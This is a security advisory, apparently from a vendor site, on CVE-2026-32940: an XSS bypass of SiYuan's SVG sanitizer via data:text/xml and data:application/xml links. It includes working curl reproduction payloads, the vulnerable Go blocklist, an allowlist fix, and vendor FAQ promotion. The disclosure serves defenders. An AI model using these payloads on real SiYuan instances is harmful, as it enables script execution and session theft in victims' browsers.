CVE-2026-32940

SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).

/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.

This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.

Steps to reproduce

Against SiYuan v3.6.0 (Docker):

# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">

# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a>  (href removed)

# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,...">  (href preserved)

JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.

Vulnerable code

kernel/util/misc.go lines 289-293:

if strings.HasPrefix(val, "data:") {
    if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
        continue
    }
}

text/xml and application/xml aren't in the list. Both serve SVG with JS execution.

Affected versions

v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.

Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.

Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.

The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-32940 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Flip the data: URI check to an allowlist -- only permit safe image types in href:

if strings.HasPrefix(val, "data:") {
    safe := strings.HasPrefix(val, "data:image/png") ||
            strings.HasPrefix(val, "data:image/jpeg") ||
            strings.HasPrefix(val, "data:image/gif") ||
            strings.HasPrefix(val, "data:image/webp")
    if !safe {
        continue
    }
}

If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.

1. What is CVE-2026-32940? CVE-2026-32940 is a critical-severity cross-site scripting (XSS) vulnerability in github.com/siyuan-note/siyuan (go), affecting versions <= 0.0.0-20260313024916-fd6526133bb3. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-32940? CVE-2026-32940 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan are affected by CVE-2026-32940? github.com/siyuan-note/siyuan (go) versions <= 0.0.0-20260313024916-fd6526133bb3 is affected.
4. Is there a fix for CVE-2026-32940? No fixed version is listed for CVE-2026-32940 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-32940 exploitable, and should I be worried? Whether CVE-2026-32940 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32940 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32940? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.